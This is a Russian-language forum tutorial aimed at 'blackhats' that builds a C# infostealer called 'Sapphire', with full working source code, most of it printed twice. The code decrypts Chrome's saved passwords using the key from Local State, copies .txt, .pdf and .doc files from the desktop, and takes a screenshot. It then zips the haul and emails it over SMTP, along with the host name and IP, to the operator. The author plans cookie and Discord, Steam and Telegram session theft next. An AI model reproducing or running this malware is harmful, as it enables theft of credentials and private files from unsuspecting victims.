Приветствую, блэкхет, сегодня в этот прекрасный день мы напишем свой *******. Будем использовать язык богов C# ******* будет иметь следующие функции: Кража логинов и паролей Граббинг файлов с рабочего стола Скриншот экрана Теперь, можем начать. Создаем консольное приложение, версия .NET Framework 4.5 Для начала установим необходимые библиотеки ПКМ по проекту --> управление пакетами NuGet System.Data.SQLite DotNetZip BouncyCastle Newtonsoft.Json Теперь подключим необходимые ссылки ПКМ по кнопке Ссылки --> Добавить ссылку... --> Сброки System.Security System.Drawing System.Windows.Forms Начинаем кодить! Создаем класс Chrome.cs и реализуем метод GetPasswordChrome() который будет вытаскивать пароль и расшифровывать. using System; using System.IO; namespace Sapphire { class Chrome { private static string pathChromeLD = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Default\Login Data"); // путь до паролей private static string brwname = "Google[Chrome]"; public static void GetPasswordChrome(string tmpPath) { if (File.Exists(tmpPath + "\\sapphire\\" + "passwords.txt")) { File.Copy(pathChromeLD, tmpPath + "\\lddata"); // копируем чтобы не убивать хром using (var connection = new System.Data.SQLite.SQLiteConnection($"Data Source={tmpPath + "\\lddata"};")) // подключаемся к скопированным данным using (var cmd = connection.CreateCommand()) { cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins"; // вытаскиваем нужные поля connection.Open(); using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { var encryptedData = (byte[])reader[2]; var decryptedData = DecryptChrome.DecryptAES(encryptedData, 3); var login = reader.GetString(1); var url = reader.GetString(0); if (login.Length > 0 && decryptedData.Length > 0) { File.AppendAllText(tmpPath + "\\sapphire\\" + "passwords.txt", $"URL: {url}\nLogin: {login}\nPassword: {decryptedData}\nBrowser: {brwname}\n========================\n"); } } } connection.Close(); } File.Delete(tmpPath + "\\lddata"); } } } } Код using System; using System.IO; namespace Sapphire { class Chrome { private static string pathChromeLD = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Default\Login Data"); // путь до паролей private static string brwname = "Google[Chrome]"; public static void GetPasswordChrome(string tmpPath) { if (File.Exists(tmpPath + "\\sapphire\\" + "passwords.txt")) { File.Copy(pathChromeLD, tmpPath + "\\lddata"); // копируем чтобы не убивать хром using (var connection = new System.Data.SQLite.SQLiteConnection($"Data Source={tmpPath + "\\lddata"};")) // подключаемся к скопированным данным using (var cmd = connection.CreateCommand()) { cmd.CommandText = "SELECT origin_url, username_value, password_value FROM logins"; // вытаскиваем нужные поля connection.Open(); using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { var encryptedData = (byte[])reader[2]; var decryptedData = DecryptChrome.DecryptAES(encryptedData, 3); var login = reader.GetString(1); var url = reader.GetString(0); if (login.Length > 0 && decryptedData.Length > 0) { File.AppendAllText(tmpPath + "\\sapphire\\" + "passwords.txt", $"URL: {url}\nLogin: {login}\nPassword: {decryptedData}\nBrowser: {brwname}\n========================\n"); } } } connection.Close(); } File.Delete(tmpPath + "\\lddata"); } } } } Создаем класс DecryptChrome.cs и в этом классе создадим два метода. Метод GetKey() - получает секретный ключ и расшифровывает его. Метод DecryptAES() - расшифровывает шифрование AESGCM который используется для шифрование паролей. using System; using System.IO; using System.Linq; using System.Security.Cryptography; using Org.BouncyCastle.Crypto; using Org.BouncyCastle.Crypto.Engines; using Org.BouncyCastle.Crypto.Modes; using Org.BouncyCastle.Crypto.Parameters; using Newtonsoft.Json; namespace Sapphire { class DecryptChrome { private static string pathChromeLC = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Local State"); // путь до секретного ключа private static string tmpPath = Path.GetTempPath(); // путь до папки темп // данный метод отвечает за расшифровку AESGCM public static string DecryptAES(byte[] encryptedData, int nonSecretPayloadLength) { const int KEY_BIT_SIZE = 256; const int MAC_BIT_SIZE = 128; const int NONCE_BIT_SIZE = 96; byte[] key = GetKey(); if (key == null || key.Length != KEY_BIT_SIZE / 8) throw new ArgumentException(String.Format("Key needs to be {0} bit!", KEY_BIT_SIZE), "key"); if (encryptedData == null || encryptedData.Length == 0) throw new ArgumentException("Need data", "data"); using (var cipherStream = new MemoryStream(encryptedData)) using (var cipherReader = new BinaryReader(cipherStream)) { var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength); var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8); var cipher = new GcmBlockCipher(new AesEngine()); var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce); cipher.Init(false, parameters); var cipherText = cipherReader.ReadBytes(encryptedData.Length); var plainText = new byte[cipher.GetOutputSize(cipherText.Length)]; try { var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0); cipher.DoFinal(plainText, len); } catch (InvalidCipherTextException) { return null; } return System.Text.Encoding.Default.GetString(plainText); } } // данный метод отвечаем за получение секретного ключа private static byte[] GetKey() { File.Copy(pathChromeLC, tmpPath + "\\lsdata"); string data = File.ReadAllText(tmpPath + "\\lsdata"); dynamic json = JsonConvert.DeserializeObject(data); string key = json.os_crypt.encrypted_key; byte[] secretKey = Convert.FromBase64String(key); byte[] encryptedKey = secretKey.Skip(5).ToArray(); byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser); File.Delete(tmpPath + "\\lsdata"); return decryptedKey; } } } Код using System; using System.IO; using System.Linq; using System.Security.Cryptography; using Org.BouncyCastle.Crypto; using Org.BouncyCastle.Crypto.Engines; using Org.BouncyCastle.Crypto.Modes; using Org.BouncyCastle.Crypto.Parameters; using Newtonsoft.Json; namespace Sapphire { class DecryptChrome { private static string pathChromeLC = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Local State"); // путь до секретного ключа private static string tmpPath = Path.GetTempPath(); // путь до папки темп // данный метод отвечает за расшифровку AESGCM public static string DecryptAES(byte[] encryptedData, int nonSecretPayloadLength) { const int KEY_BIT_SIZE = 256; const int MAC_BIT_SIZE = 128; const int NONCE_BIT_SIZE = 96; byte[] key = GetKey(); if (key == null || key.Length != KEY_BIT_SIZE / 8) throw new ArgumentException(String.Format("Key needs to be {0} bit!", KEY_BIT_SIZE), "key"); if (encryptedData == null || encryptedData.Length == 0) throw new ArgumentException("Need data", "data"); using (var cipherStream = new MemoryStream(encryptedData)) using (var cipherReader = new BinaryReader(cipherStream)) { var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength); var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8); var cipher = new GcmBlockCipher(new AesEngine()); var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce); cipher.Init(false, parameters); var cipherText = cipherReader.ReadBytes(encryptedData.Length); var plainText = new byte[cipher.GetOutputSize(cipherText.Length)]; try { var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0); cipher.DoFinal(plainText, len); } catch (InvalidCipherTextException) { return null; } return System.Text.Encoding.Default.GetString(plainText); } } // данный метод отвечаем за получение секретного ключа private static byte[] GetKey() { File.Copy(pathChromeLC, tmpPath + "\\lsdata"); string data = File.ReadAllText(tmpPath + "\\lsdata"); dynamic json = JsonConvert.DeserializeObject(data); string key = json.os_crypt.encrypted_key; byte[] secretKey = Convert.FromBase64String(key); byte[] encryptedKey = secretKey.Skip(5).ToArray(); byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser); File.Delete(tmpPath + "\\lsdata"); return decryptedKey; } } } Получение секретного ключа и расшифровка паролей есть. Теперь пишем граббинг файлов с рабочего стола, для этого создаем класс GrabbingFiles.cs переменная desktop хранит путь до рабочего стола. using System; using System.IO; namespace Sapphire { class GrabbingFiles { private static string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); public static void Grabbing(string path) { string[] desktopFiles = Directory.GetFiles(desktop); // получаем все файлы с рабочего стола foreach (string f in desktopFiles) // перебираем полученные файлы { string extension = Path.GetExtension(f); // получаем расширение файла if (extension == ".txt" || extension == ".pdf" || extension == ".doc") // отсеиваем ненужное { File.Copy(f, path + Path.GetFileName(f)); } } } } } Код using System; using System.IO; namespace Sapphire { class GrabbingFiles { private static string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); public static void Grabbing(string path) { string[] desktopFiles = Directory.GetFiles(desktop); // получаем все файлы с рабочего стола foreach (string f in desktopFiles) // перебираем полученные файлы { string extension = Path.GetExtension(f); // получаем расширение файла if (extension == ".txt" || extension == ".pdf" || extension == ".doc") // отсеиваем ненужное { File.Copy(f, path + Path.GetFileName(f)); } } } } } Граббер сделан, теперь делаем скриншот экрана, создаем класс Screenshot.cs using System.IO; using System.Drawing; namespace Sapphire { class Screenshot { // Получаем размеры экрана private static int width = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString()); private static int height = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Height.ToString()); // делаем скриншот public static void Make() { Bitmap screen = new Bitmap(width, height); Size size = new Size(screen.Width, screen.Height); Graphics graphics = Graphics.FromImage(screen); graphics.CopyFromScreen(0, 0, 0, 0, size); string path = Path.GetTempPath() + "sapphire\\" + "Screenshot.jpg"; screen.Save(path); } } } Код using System.IO; using System.Drawing; namespace Sapphire { class Screenshot { // Получаем размеры экрана private static int width = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString()); private static int height = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Height.ToString()); // делаем скриншот public static void Make() { Bitmap screen = new Bitmap(width, height); Size size = new Size(screen.Width, screen.Height); Graphics graphics = Graphics.FromImage(screen); graphics.CopyFromScreen(0, 0, 0, 0, size); string path = Path.GetTempPath() + "sapphire\\" + "Screenshot.jpg"; screen.Save(path); } } } Почти все готово! В классе Program.cs собираем все. using System.IO; using Ionic.Zip; using System.Net; namespace Sapphire { class Program { static string tmpPath = Path.GetTempPath(); static void Main(string[] args) { Directory.CreateDirectory(tmpPath + "\\sapphire"); // создаем папку для хранения данных Directory.CreateDirectory(tmpPath + "\\sapphire\\" + "GrabbingFiles"); // создаем папку для хранения украденных файлов с рабочего стола //Directory.CreateDirectory(tmpPath + "\\sapphire\\" + "FileZilla"); File.Create(tmpPath + "\\sapphire\\" + "passwords.txt").Close(); // создаем текстовик для записи паролей // вызываем нужные методы Chrome.GetPasswordChrome(tmpPath); GrabbingFiles.Grabbing(tmpPath + "\\sapphire\\" + "GrabbingFiles\\"); Screenshot.Make(); // все сворачиваем в zip архив using (ZipFile zip = new ZipFile(System.Text.Encoding.GetEncoding("cp866"))) { zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; zip.Comment = "by barion *******"; zip.AddDirectory(@"" + tmpPath + "\\sapphire"); zip.Save(tmpPath + "\\log.zip"); } string username = Dns.GetHostName(); IPAddress ip = Dns.GetHostEntry(username).AddressList[0]; SendLog.Send(tmpPath + "\\log.zip", ip.ToString(), username); Directory.Delete(tmpPath + "\\sapphire", true); } } } Код using System.IO; using Ionic.Zip; using System.Net; namespace Sapphire { class Program { static string tmpPath = Path.GetTempPath(); static void Main(string[] args) { Directory.CreateDirectory(tmpPath + "\\sapphire"); // создаем папку для хранения данных Directory.CreateDirectory(tmpPath + "\\sapphire\\" + "GrabbingFiles"); // создаем папку для хранения украденных файлов с рабочего стола //Directory.CreateDirectory(tmpPath + "\\sapphire\\" + "FileZilla"); File.Create(tmpPath + "\\sapphire\\" + "passwords.txt").Close(); // создаем текстовик для записи паролей // вызываем нужные методы Chrome.GetPasswordChrome(tmpPath); GrabbingFiles.Grabbing(tmpPath + "\\sapphire\\" + "GrabbingFiles\\"); Screenshot.Make(); // все сворачиваем в zip архив using (ZipFile zip = new ZipFile(System.Text.Encoding.GetEncoding("cp866"))) { zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; zip.Comment = "by barion *******"; zip.AddDirectory(@"" + tmpPath + "\\sapphire"); zip.Save(tmpPath + "\\log.zip"); } string username = Dns.GetHostName(); IPAddress ip = Dns.GetHostEntry(username).AddressList[0]; SendLog.Send(tmpPath + "\\log.zip", ip.ToString(), username); Directory.Delete(tmpPath + "\\sapphire", true); } } } Осталось реализовать отправку *****, будем отправлять через SMTP, не лучший способ, но в будущем мы это переделаем. Создаем класс SendLog.cs using System.Net; using System.Net.Mail; namespace Sapphire { class SendLog { public static void Send(string path, string ip, string username) { MailAddress from = new MailAddress("email@gmail.com", "sapphire"); // Ваш эмеил MailAddress to = new MailAddress("email"); // эмеил для получение *****, можете написать тот же эмеил которая отправляет MailMessage msg = new MailMessage(from, to); msg.Subject = "****"; msg.Body = $"<h2>------NEW ****------</h2> <h3>{System.DateTime.Now}</h3> <br> <b>IP: {ip} <br> <br> Username: {username} <br></b>"; msg.IsBodyHtml = true; msg.Attachments.Add(new Attachment(path)); SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); smtp.Credentials = new NetworkCredential("email.gmail.com", "password"); // эмеил и пароль от почты через которую отправляете smtp.EnableSsl = true; smtp.Send(msg); } } } Код using System.Net; using System.Net.Mail; namespace Sapphire { class SendLog { public static void Send(string path, string ip, string username) { MailAddress from = new MailAddress("email@gmail.com", "sapphire"); // Ваш эмеил MailAddress to = new MailAddress("email"); // эмеил для получение *****, можете написать тот же эмеил которая отправляет MailMessage msg = new MailMessage(from, to); msg.Subject = "****"; msg.Body = $"<h2>------NEW ****------</h2> <h3>{System.DateTime.Now}</h3> <br> <b>IP: {ip} <br> <br> Username: {username} <br></b>"; msg.IsBodyHtml = true; msg.Attachments.Add(new Attachment(path)); SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); smtp.Credentials = new NetworkCredential("email.gmail.com", "password"); // эмеил и пароль от почты через которую отправляете smtp.EnableSsl = true; smtp.Send(msg); } } } Готово! Билдим и проверяем работоспособность. ******* пока имеет мало функционала, да еще и подключаемых дллок много, но в будущих частях я попробую это дело сократить. Код не идеальный, соглашусь, но будет рефакторинг и говнокода станет меньше. Что я планирую добавить? Сhromium браузеры Грабинг FileZilla Стиллинг куков Стиллинг сессии steam Стиллинг сессии дискорд Стиллинг сессии телеграмм Стиллинг автозаполении Отправка ***** в телеграм бота Возможно добавлю обфускацию(но это не точно) Я максимально пытался все впихнуть в свои классы, из-за этого Вам может будет непонятно или же вам будет лень копипастить, исходники закину в телеграмм канал можете там скачать. это тг канал с исходником
r3xq1, я специально написал в статье для подобных "гуру мальваристов" что в следующих частях сокращу количество дллок, читал бы внимательней.